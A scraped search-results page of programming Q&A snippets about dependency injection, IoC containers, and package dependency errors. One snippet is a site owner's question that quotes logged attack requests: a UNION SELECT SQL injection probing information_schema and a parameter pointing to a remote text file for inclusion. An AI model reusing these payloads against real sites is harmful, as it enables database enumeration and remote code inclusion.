Search Results

Search found 3698 results on 148 pages for 'dependency injection'.

Page 17/148 | < Previous Page | 13 14 15 16 17 18 19 20 21 22 23 24  | Next Page >

  • Is it possible to use Dependency Injection/IoC on an ASP.NET MVC FilterAttribute ?

    - by Pure.Krome
    Hi folks, I've got a simple custom FilterAttribute which I use decorate various ActionMethods. eg. [AcceptVerbs(HttpVerbs.Get)] [MyCustomFilter] public ActionResult Bar(...) { ... } Now, I wish to add some logging to this CustomFilter Action .. so being a good boy, I'm using DI/IoC ... and as such wish to use this pattern for my custom FilterAttribute. So if i have the following... ILoggingService and wish to add this my custom FilterAttribute .. i'm not sure how. Like, it's easy for me to do the following... public class MyCustomFilterAttribute : FilterAttribute { public MyCustomFilterAttribute(ILoggingService loggingService) { ... } } But the compiler errors saying the attribute which decorates my ActionMethod (listed above...) requires 1 arg .. so i'm just not sure what to do :(

    Read the article

  • When using Dependency Injection with StructureMap how do I chooose among multiple constructors?

    - by Mark Rogers
    I'm trying to get structuremap to build Fluent Nhibernate's SessionSource object for some of my intregration tests. The only problem is that Fluent's concrete implementation of ISessionSource (SessionSource) has 3 constructors: public SessionSource(PersistenceModel model) { Initialize(new Configuration().Configure(), model); } public SessionSource(IDictionary<string, string> properties, PersistenceModel model) { Initialize(new Configuration().AddProperties(properties), model); } public SessionSource(FluentConfiguration config) { configuration = config.Configuration; sessionFactory = config.BuildSessionFactory(); dialect = Dialect.GetDialect(configuration.Properties); } I've tried configuring my ObjectFactory supplying an argument for the first constructor but it seems like it wants to try the second one. How do I configure my ObjectFactory so that I can choose the first constructor or perhaps even another one if I decide to use that?

    Read the article

  • Is this an injection attempt or a normal request?

    - by CheeseConQueso
    In cPanel's Analog Stats statistics module, I've noticed countless requests to connect to the following example: /?x=19&y=15 The numbers are random, but its always setting x and y variables. Another category of mysterious requests: /?id=http://nic.bupt.edu.cn/media/j1.txt?? There are other attempts at injections in the request log that have straight sql written into them as well. Example: /jobs/jobinfo.php?id=-999.9 UNION ALL SELECT 1,(SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM information_schema.tables WHERE table_schema=0x73636363726F6F745F7075626C6963),3,4,5,6,7,8,9,10,11,12,13-- It looks like they are all reaching a 404, but I'm still wondering about the intent behind these. I know this is vague, but maybe someone knows that this is normal while using cPanel & phpMyAdmin services. Also, there was a search box installed on the site which could be the reason. Any suggestions as to what all these are?

    Read the article

  • Does video tag (HTML 5) injection via JavaScript work in any browsers?

    - by JoshNaro
    I'm trying to dynamically spawn a video element on a page using JavaScript. JavaScript <script type="text/javascript"> $(document).ready(function() { var video = $(document.createElement('video')) .attr('id', 'VideoElement') .attr('controls', 'controls') .attr('src', 'videopath.mp4') // Changed 'href' attribute to 'src' .css({ width: 640, height: 360 }); $('#VideoContainer').append(video); }); HTML <body> <div id="VideoContainer"></div> </body> In Firefox I get the video harness, but the actual video doesn't load. In IE8 the video harness doesn't even appear. Is HTML 5 just not supported enough to accomplish this yet? Edit: Got this to work with Artiom's fix. Looks like this works fine with Chrome and Safari. I'm using a codec Firefox doesn't support, so it doesn't work there; although I suspect it will work with a supported codec. IE8 sure enough doesn't work (high five IE).

    Read the article

  • IoC Dependancy injection into Custom HTTP Module - how? (ASP.NET)

    - by Sosh
    Hi, I have a custom HTTP Module. I would like to inject the logger using my IoC framework, so I can log errors in the module. However, of course I don't get a constructor, so can't inject it into that. What's the best way to go about this? If you need the specific IoC container - I'm currently using Windsor, but may soon move to AutoFac. Thanks

    Read the article

  • Passing Services to MainViewModel - SHOULD I use a dependency injection container ?

    - by msfanboy
    Hello, I have this code: public partial class App : Application { protected override void OnStartup(StartupEventArgs e) { base.OnStartup(e); var mainVM = new MainViewModel ( new Service1(), ... new Service10(), ); var window = new MainWindow(); window.DataContext = mainVM; window.Show(); } } I pass all my Services instances to the MainViewModel. Within the MainViewModel I spread those services to other ViewModels via constructor parameter passing. Should I use any DI framework for the services in the App class? If yes whats the benefit of resolving the services instead of just creating the instance manually... ?

    Read the article

  • IValidatableObject vs Single Responsibility

    - by Boris Yankov
    I like the extnesibility point of MVC, allowing view models to implement IValidatableObject, and add custom validation. I try to keep my Controllers lean, having this code be the only validation logic: if (!ModelState.IsValid) return View(loginViewModel); For example a login view model implements IValidatableObject, gets ILoginValidator object via constructor injection: public interface ILoginValidator { bool UserExists(string email); bool IsLoginValid(string userName, string password); } It seems that Ninject, injecting instances in view models isn't really a common practice, may be even an anti-pattern? Is this a good approach? Is there a better one?

    Read the article

  • Test wordpress sites for SQL Injection on siteurl

    - by Scott B
    I have a client who's wordpress sites have gotten hacked twice by iframe scammers. Each time they've injected iframe code into the content of the sites. This last time, today, they simply changed the siteurl in wp_options to their iframe code. The result was obvious and appeared to simply botch the paths of the scripts that rely on I can't determine if its a password compromise (on FTP or WordPress itself) or a SQL injection to alter siteurl. Since the only thing that was altered is siteurl, I'm thinking perhaps SQL Injection. What are your thoughts? Any way to scan a site for potential SQL injection vulnerabilities? The only active plugins on the site are contact form 7 and google xml sitemaps.

    Read the article

  • Doesn't Spring really support Interface injection at all?

    - by mrCoder
    Hi I know that Spring doesn't supports Interface injection and I've read that many a times. But today as I came across an article about IOC by Martin Fowler (link), it seems using ApplicationContextAware in Spring is some what similar to the Interface injection. when ever Spring' context reference is required in our Spring bean, we'll implement ApplicationContextAware and will implement the setApplicationContext(ApplicationContext context) method, and we'll include the bean in the config file. Is not this the same as Interface injection, where where telling the Spring to inject (or), say, pass the reference of the context into this bean? Or I m missing something here? Thanks for any information! ManiKanta

    Read the article

  • Does OSB has any database dependency?

    - by Manoj Neelapu
    Major functionality of OSB is database independent. Most of the internal data-structures that re required by OSB are stored in-memory.Reporting functionality of OSB requires DB tables be accessible.http://download.oracle.com/docs/cd/E14571_01/doc.1111/e15017/before.htm#BABCJHDJ It should hover be noted that we can still run OSB with out creating any tables on database.In such cases the reporting functionality cannot be used where as other functions in OSB will work just as fine.We also see few errors in the log file indicating the absence of these tables which we can ignore.  If reporting function is required we will have to install few tables. http://download.oracle.com/docs/cd/E14571_01/doc.1111/e15017/before.htm#BABBBEHD indicates running RCU recommended. OSB reporting tables are bundled along with SOA schema in RCU. OSB requires two simple tables for reporting functionality and installing complete SOA schema is little far fetched. SOA schema contains lot of tables which OSB doesn't require at all. More over OSB tables are too simple to require a tool like an RCU.Solution to it would be to manually create those tables required for OSB. To make  life easier the definition of tables is available in dbscripts folder under OSB_HOME.eg. D:\Oracle\Middleware\osb\11gPS2\Oracle_OSB1\dbscripts. $OSB_HOME=D:\Oracle\Middleware\osb\11gPS2\Oracle_OSB1If you are not planning to use reporting feature in OSB, then we can also delete the JDBC data sources that comes along with standard OSB domain.WLST script to delete cgDataSources from OSB domain . OSB will work fine with out DB tables and JDBC Datasource.

    Read the article

  • Haskell's cabal dependency problem with happy

    - by wirrbel
    I have problems installing ghc-mod on my linux machine. cabal worries about "happy" not being available in versione = 1.17: $ cabal install ghc-mod Resolving dependencies... [1 of 1] Compiling Main ( /tmp/haskell-src-exts-1.14.0-1357/haskell-src-exts-1.14.0/Setup.hs, /tmp/haskell-src-exts-1.14.0-1357/haskell-src-exts-1.14.0/dist/setup/Main.o ) Linking /tmp/haskell-src-exts-1.14.0-1357/haskell-src-exts-1.14.0/dist/setup/setup ... Configuring haskell-src-exts-1.14.0... setup: The program happy version =1.17 is required but it could not be found. Failed to install haskell-src-exts-1.14.0 cabal: Error: some packages failed to install: ghc-mod-3.1.3 depends on haskell-src-exts-1.14.0 which failed to install. haskell-src-exts-1.14.0 failed during the configure step. The exception was: ExitFailure 1 hlint-1.8.53 depends on haskell-src-exts-1.14.0 which failed to install. However, it even is installed in v. 1.19, as you can see here: $ cabal install happy Resolving dependencies... [1 of 1] Compiling Main ( /tmp/happy-1.19.0-1124/happy-1.19.0/Setup.lhs, /tmp/happy-1.19.0-1124/happy-1.19.0/dist/setup/Main.o ) Linking /tmp/happy-1.19.0-1124/happy-1.19.0/dist/setup/setup ... Configuring happy-1.19.0... Building happy-1.19.0... Preprocessing executable 'happy' for happy-1.19.0... [ 1 of 18] Compiling NameSet ( src/NameSet.hs, dist/build/happy/happy-tmp/NameSet.o ) [ 2 of 18] Compiling Target ( src/Target.lhs, dist/build/happy/happy-tmp/Target.o ) [ 3 of 18] Compiling AbsSyn ( src/AbsSyn.lhs, dist/build/happy/happy-tmp/AbsSyn.o ) [ 4 of 18] Compiling ParamRules ( src/ParamRules.hs, dist/build/happy/happy-tmp/ParamRules.o ) [ 5 of 18] Compiling GenUtils ( src/GenUtils.lhs, dist/build/happy/happy-tmp/GenUtils.o ) [ 6 of 18] Compiling ParseMonad ( src/ParseMonad.lhs, dist/build/happy/happy-tmp/ParseMonad.o ) [ 7 of 18] Compiling Lexer ( src/Lexer.lhs, dist/build/happy/happy-tmp/Lexer.o ) [ 8 of 18] Compiling Parser ( dist/build/happy/happy-tmp/Parser.hs, dist/build/happy/happy-tmp/Parser.o ) [ 9 of 18] Compiling AttrGrammar ( src/AttrGrammar.lhs, dist/build/happy/happy-tmp/AttrGrammar.o ) [10 of 18] Compiling AttrGrammarParser ( dist/build/happy/happy-tmp/AttrGrammarParser.hs, dist/build/happy/happy-tmp/AttrGrammarParser.o ) [11 of 18] Compiling Grammar ( src/Grammar.lhs, dist/build/happy/happy-tmp/Grammar.o ) [12 of 18] Compiling First ( src/First.lhs, dist/build/happy/happy-tmp/First.o ) [13 of 18] Compiling LALR ( src/LALR.lhs, dist/build/happy/happy-tmp/LALR.o ) [14 of 18] Compiling Paths_happy ( dist/build/autogen/Paths_happy.hs, dist/build/happy/happy-tmp/Paths_happy.o ) [15 of 18] Compiling ProduceCode ( src/ProduceCode.lhs, dist/build/happy/happy-tmp/ProduceCode.o ) [16 of 18] Compiling ProduceGLRCode ( src/ProduceGLRCode.lhs, dist/build/happy/happy-tmp/ProduceGLRCode.o ) [17 of 18] Compiling Info ( src/Info.lhs, dist/build/happy/happy-tmp/Info.o ) [18 of 18] Compiling Main ( src/Main.lhs, dist/build/happy/happy-tmp/Main.o ) Linking dist/build/happy/happy ... Installing executable(s) in /home/hope/.cabal/bin Installed happy-1.19.0 Any ideas? cabal-install version 1.16.0.2 using version 1.16.0 of the Cabal library

    Read the article

  • Use MacBook Pro airport for injection with kismac

    - by Am1rr3zA
    Hi, I want use kismac to break my WEP wireless password with my MacBook Pro but when I go to step that want to inject packets it's doesn't do anything! I some where read that MacBook Pro wireless cards don't support injection! Is that right? How can I solve this? If I must buy USB Wireless Modem which one is better ?

    Read the article

  • dependency problems at installation from mysql-server-5.5

    - by Furtano
    qcons@014-QCONS:/var/lib$ sudo apt-get install -f mysql-server Paketlisten werden gelesen... Fertig Abhängigkeitsbaum wird aufgebaut Statusinformationen werden eingelesen... Fertig mysql-server ist schon die neueste Version. 0 aktualisiert, 0 neu installiert, 0 zu entfernen und 0 nicht aktualisiert. 2 nicht vollständig installiert oder entfernt. Nach dieser Operation werden 0 B Plattenplatz zusätzlich benutzt. Möchten Sie fortfahren [J/n]? j mysql-server-5.5 (5.5.28-0ubuntu0.12.04.2) wird eingerichtet ... 121112 11:16:52 [Note] Plugin 'FEDERATED' is disabled. 121112 11:16:52 InnoDB: The InnoDB memory heap is disabled 121112 11:16:52 InnoDB: Mutexes and rw_locks use GCC atomic builtins 121112 11:16:52 InnoDB: Compressed tables use zlib 1.2.3.4 121112 11:16:52 InnoDB: Initializing buffer pool, size = 128.0M 121112 11:16:52 InnoDB: Completed initialization of buffer pool 121112 11:16:52 InnoDB: highest supported file format is Barracuda. 121112 11:16:53 InnoDB: Waiting for the background threads to start 121112 11:16:54 InnoDB: 1.1.8 started; log sequence number 1595675 121112 11:16:54 InnoDB: Starting shutdown... 121112 11:16:54 InnoDB: Shutdown completed; log sequence number 1595675 start: Job failed to start invoke-rc.d: initscript mysql, action "start" failed. dpkg: Fehler beim Bearbeiten von mysql-server-5.5 (--configure): Unterprozess installiertes post-installation-Skript gab den Fehlerwert 1 zurück dpkg: Abhängigkeitsprobleme verhindern Konfiguration von mysql-server: mysql-server hängt ab von mysql-server-5.5; aber: Paket mysql-server-5.5 ist noch nicht konfiguriert. dpkg: Fehler beim Bearbeiten von mysql-server (--configure): Abhängigkeitsprobleme - verbleibt unkonfiguriert Es wurde kein Apport-Bericht verfasst, da die Fehlermeldung darauf hindeutet, dass dies lediglich ein Folgefehler eines vorherigen Problems ist. Fehler traten auf beim Bearbeiten von: mysql-server-5.5 mysql-server E: Sub-process /usr/bin/dpkg returned an error code (1)

    Read the article

  • Wine / PlayOnLinux dependency issues when trying to install

    - by Glutanimate
    I am curious as to why installing PlayOnLinux entails removing seemingly unrelated packages like google-earth-stable. Is this the expected behaviour? This is the output I get when trying to install playonlinux through apt-get: The following packages were automatically installed and are no longer required: python-scour pax ncurses-term Use 'apt-get autoremove' to remove them. The following extra packages will be installed: binfmt-support fonts-horai-umefont fonts-unfonts-core libcapi20-3 libgif4:i386 libmpg123-0 libodbc1 libpam-winbind ttf-umefont ttf-unfonts-core unixodbc winbind wine wine-gecko1.4 wine-gecko1.4:i386 wine1.4 wine1.4-amd64 wine1.4-common wine1.4-i386:i386 winetricks Suggested packages: libmyodbc odbc-postgresql tdsodbc unixodbc-bin dosbox Recommended packages: gettext:i386 unixodbc:i386 The following packages will be REMOVED: alien cdbs debhelper dh-make dh-translations gettext google-earth-stable intltool intltool-debian lsb-core po-debconf The following NEW packages will be installed: binfmt-support fonts-horai-umefont fonts-unfonts-core libcapi20-3 libgif4:i386 libmpg123-0 libodbc1 libpam-winbind playonlinux ttf-umefont ttf-unfonts-core unixodbc winbind wine wine-gecko1.4 wine-gecko1.4:i386 wine1.4 wine1.4-amd64 wine1.4-common wine1.4-i386:i386 winetricks 0 upgraded, 21 newly installed, 11 to remove and 0 not upgraded. Need to get 145 MB of archives. After this operation, 275 MB of additional disk space will be used. This is the first time I am trying to install Wine / POL. I am using the default repositories, no Wine PPA or POL source added. These are all the PPAs I am using: How do I install POL / Wine without having to remove all these packages?

    Read the article

  • Django 1.4 dependency when packaging a Precise application

    - by Caustic
    I am trying to package a program I wrote that depends on Django 1.4.1 in Ubuntu 12.04. As Django 1.4.1 isn't available in Precise I am wondering if it is best to: Package up Django 1.4.1 and drop it in my ppa OR write a script that wgets Django at build time and installs. OR Something better that I haven't thought of. I am still inexperienced with packaging and would appreciate some advice Thanks

    Read the article

  • 12.04 Epson Scanner will not install dependency not met

    - by Howard Graham
    I'm trying to install Epson V100 scanner in 12.04. I downloaded files from Epson: iscan_2.29.1-5~usb0.1.ltdl7_amd64.deb iscan_2.29.1-5~usb0.1.ltdl3_amd64.deb iscan-plugin-gt-s600_2.1.2-1_amd64.deb from Ubuntu Software Center via double click on the file or from the terminal "dependencies not met" error occurs. What can I do. Apparently 12.04 is not able to process these files. Does anyone know where I can download older versions of the above files. I can not access avasys.jp from my location in China.

    Read the article

  • Dependency Checker/ Installer With Java/Ant

    - by jsn
    I need some kind of software to easily roll out code on new servers. I use Apache Ant for builds. However, say I want to set-up a new server fast and my Java program depends on GhostScript, if there any software that can automatically check the computer for it (and then maybe the PATH) and add it if is not there? I have already looked at Maven and Apache Ivy, however, I think these are only for .jar files (from what I saw). Thanks for any help.

    Read the article

  • Dependency errors on installing Banshee

    - by Ben Cracknell
    I just installed Ubuntu 12.10 (Verified the ISO hash as well). The VERY first thing I did was open the software centre and try to install banshee. I am met with the following error: The following packages have unmet dependencies: banshee: Depends: libc6 (>= 2.7) but 2.15-0ubuntu20 is to be installed Depends: libglib2.0-0 (>= 2.34.1) but 2.34.0-1ubuntu1 is to be installed Depends: libgtk2.0-0 (>= 2.24.0) but 2.24.13-0ubuntu2 is to be installed Depends: libsoup-gnome2.4-1 (>= 2.27.4) but 2.40.0-0ubuntu1 is to be installed Depends: libsoup2.4-1 (>= 2.26.1) but 2.40.0-0ubuntu1 is to be installed Depends: libx11-6 (>= 2:1.4.99.1) but 2:1.5.0-1 is to be installed Depends: mono-runtime (>= 2.10.1) but 2.10.8.1-5ubuntu1 is to be installed Depends: libc0.1 (>= 2.15) but it is not going to be installed Depends: libgconf2.0-cil (>= 2.24.0) but 2.24.2-2 is to be installed Depends: libgdk-pixbuf2.0-0 (>= 2.26.4) but 2.26.4-0ubuntu1 is to be installed Depends: libglib2.0-cil (>= 2.12.10-1ubuntu1) but 2.12.10-4 is to be installed Depends: libgtk2.0-cil (>= 2.12.10-1ubuntu1) but 2.12.10-4 is to be installed Depends: libmono-cairo4.0-cil (>= 2.10.1) but 2.10.8.1-5ubuntu1 is to be installed Depends: libmono-corlib4.0-cil (>= 2.10.1) but 2.10.8.1-5ubuntu1 is to be installed Depends: libmono-posix4.0-cil (>= 2.10.1) but 2.10.8.1-5ubuntu1 is to be installed Depends: libmono-system-core4.0-cil (>= 2.10.3) but 2.10.8.1-5ubuntu1 is to be installed Depends: libmono-system4.0-cil (>= 2.10.7) but 2.10.8.1-5ubuntu1 is to be installed Depends: gnome-icon-theme (>= 2.16) but 3.6.0-0ubuntu2 is to be installed I should note that the banshee application appears three times when searching for it: http://i.imgur.com/fJOsb.png Other applications install fine though. I installed the latest updates and still received the same error. I even tried reinstalling Ubuntu, but the same thing happened.

    Read the article

  • Need theoretical help, how to comprehend an if-else dependency net

    - by macbie
    I am going to face a following issue: I'm writing a program that manages some properties, some of them are general and some are specific. Each property is a pair of key and value, and for example: if it is given a general property and other specific property with exactly the same key and value has been existed before then the general property will swap the specific one in the register. If there are two the same general properties - both will remain in the register. And so on; it is like a net of dependencies. In my case I can handle with it intuitively and foresee all cases, but only because the system is not too vast. What if it would? I have met such problems a few times in many different programs and languages (i.e working with C semaphores) and my question is: How to approach this kind of problem? Is this connected with finite state machine, graph theory or something similar? How to be sure that I have considered the whole system and each possible case? Could you recommend some resources (books, sites) to learn from?

    Read the article

  • Un nouveau type d'attaques par injection SQL plus sophistiquées découvert par un cabinet de sécurité toucherait plus de 20.000 sites

    Un nouveau type plus sophistiqué d'attaques par injection SQL Découvert par un cabinet de sécurité, il toucherait plus de 20 000 sites Les attaques par injection SQL font partie des vulnérabilités les plus courantes dont sont victimes les applications Web. Mais cette « popularité » fait aussi que plusieurs mécanismes de défense ont été mis au point et sont couramment utilisés. Face à cette situation, des pirates auraient développé une nouvelle variante d'attaque par injection SQL. Elle utilise, selon la récente découverte de la société de sécurité Web Armorise, une forme simple de peer-to-peer. Traditionnellement, les attaques par injection SQL sont effectuées en exploitant...

    Read the article

  • Can't install a dependency?

    - by Chibueze Opata
    I've been trying to install 'boot-repair' but it keeps saying: The following packages have unmet dependencies: Depends: boot-sav (= 3.196) but 3.196~ppa3~quantal is to be installed E: Unable to correct problems, you have held broken packages. When I try installing 'boot-sav', everything seems okay, but when I try it again, it just shows the same message over and over again. How can I fix such a problem? Thanks.

    Read the article

  • ia32-libs will not install due to dependency problems

    - by P-I H
    When I upgraded to 12.04 all the 32bit libraries was removed. When I used Synaptic to upgrade, Synaptic installed all the 32bit libraries. When I later used apt-get to install a ppa, I was told to use autoremove to remove all the 32bit libraries, which I did. After this Synaptic wanted to install the libraries again, but now I marked ia32-libs forinstead. The installation works fine, but I am not able to install Skype as Skype depeneds on ia32-libs. When I try to install ia32-libs, I get this error printout ia32-libs: Depends: ia32-libs-multiarch

    Read the article

< Previous Page | 13 14 15 16 17 18 19 20 21 22 23 24  | Next Page >